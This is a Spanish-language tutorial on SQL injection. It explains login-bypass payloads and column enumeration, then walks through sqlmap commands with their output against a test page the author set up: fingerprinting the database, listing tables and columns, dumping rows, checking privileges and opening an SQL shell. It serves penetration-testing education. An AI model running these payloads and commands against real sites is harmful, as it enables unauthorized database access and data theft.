Automatizando ataques de inyección de SQL

SQL Injection es una técnica de ataque a paginas o aplicaciones, que intenta inyectar código SQL dentro de la aplicación destino, para romper o acceder a información.

Por ejemplo cuando una web tiene un área de ingreso de usuario o login usualmente el desarrollador para validarlo, hace lo siguiente:
SELECT * FROM Users WHERE Username='usuario' AND Password='contraseña'
Si las variables usuario y contraseña se toman directamente de el formulario sin ningún tipo de escape de caracteres y se ingresan en la consulta, podríamos hacer que el usuario y contraseña tengan como valor '1' OR '1' = '1'.
La instrucción de SQL quedaría así:
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1′'= '1'
Esto significa que podríamos en ciertos casos identificar el número de columnas que contiene la tabla que muestra la información de la pagina que se esta auditando:
www.sitio.com/noticias.php?id=1 order by 1-- [Sin error]
www.sitio.com/noticias.php?id=1 order by 2-- [Sin error]
www.sitio.com/noticias.php?id=1 order by 3-- [Error]
El error se muestra al colocar el numero 3, esto quiere decir que la tabla solamente tiene 2 columnas.
Y así sucesivamente lo podríamos hacer manualmente, para efectos didácticos es recomendado hacerlo así. Pero en ambientes reales de auditoria, el tiempo es importante y si hacemos uso correcto de las herramientas tendremos los mismos resultados como si lo hiciéramos a mano y a veces mejores.
SQLmap, automatizando la inyección de SQL
SQLmap tiene soporte para distintos motores de base de datos: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.
Tiene la capacidad de realizar de manera automática 6 técnicas de ataques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
Requisitos
Python 2.7.5 o mayores.
Instalando SQLmap
Utilizamos Git para obtener el programa:
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Esto nos creara la carpeta sqlmap-dev en donde encontraremos una serie de archivos, pero el que nos interesa para ejecutar la herramienta, es sqlmap.py
Para hacer pruebas reales, creamos una página -donde podrán probar- lo que continuación les mostraremos, en esta dirección.
Conocer el motor, el nombre de la base de datos y más.
python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --current-db
Entre todos los datos que se nos muestra al final veremos esto:
back-end DBMS: MySQL 5.0
[22:28:48] [INFO] fetching current database
current database: 'testrootear'
Así que ya conocemos el nombre de la base de datos, en este caso testrootear.
Listando las tablas de la base de datos
python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --tables -D testrootear
Resultado:
[22:17:39] [INFO] fetching tables for database: 'testrootear'
Database: testrootear
[1 table]
+----------+
| noticias |
+----------+
Ahora ya conocemos que el nombre de la tabla es noticias.
Listando las columnas de la tabla
python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --columns -T noticias -D testrootear
Resultado:
Database: testrootear
Table: noticias
[2 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| descripcion | varchar(200) |
| titulo | varchar(100) |
+-------------+--------------+
Mostrar el contenido de la tabla
python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dump -T noticias -D testrootear
Resultado:
Database: testrootear
Table: noticias
[2 entries]
+-----------------------------------------------+--------------------------------+
| titulo | descripcion |
+-----------------------------------------------+--------------------------------+
| Android y sus especificaciones | Lo mejor de Android |
| Windows y sus especificaciones | Lo mejor de Widow$ |
+------------------------------------------------+-------------------------------+
Mostrar si el usuario de la base de datos que usamos en DBA
python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --is-dba
Resultado:
[22:23:38] [INFO] testing if current user is DBA
[22:23:38] [INFO] fetching current user
[22:23:38] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
Mostrar otras bases de datos que hay en el servidor.
En este punto va a depender de los privilegios que tenga el usuario, en el script que tenemos para que hacer pruebas el usuario solamente tiene privilegios sobre la base de datos testrootear y por defecto information_schema.
python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dbs
Mostrar los privilegios del usuario actual
python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --privileges
Resultado:
database management system users privileges:
[*] 'rootearok'@'localhost' [1]:
privilege: USAGE
Obteniendo SQL Shell
python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --sql-shell
Como respuesta nos da una shell SQL en donde se podrá realizar consultas, escribimos:
SELECT @@datadir
Resultado:
sql-shell> SELECT @@datadir
[22:33:20] [INFO] fetching SQL SELECT statement query output: 'SELECT @@datadir'
SELECT @@datadir: '/var/lib/mysql/'
Ciertamente SQLmap nos ofrece muchas opciones mas avanzadas, las cuales podremos ahondar mas en la documentación que se encuentra aquí. Depende de nosotros el uso que le demos a este tipo de herramientas, así que si vamos a hacer pruebas en otros ambientes no controlados o ajenos, no nos hacemos responsables.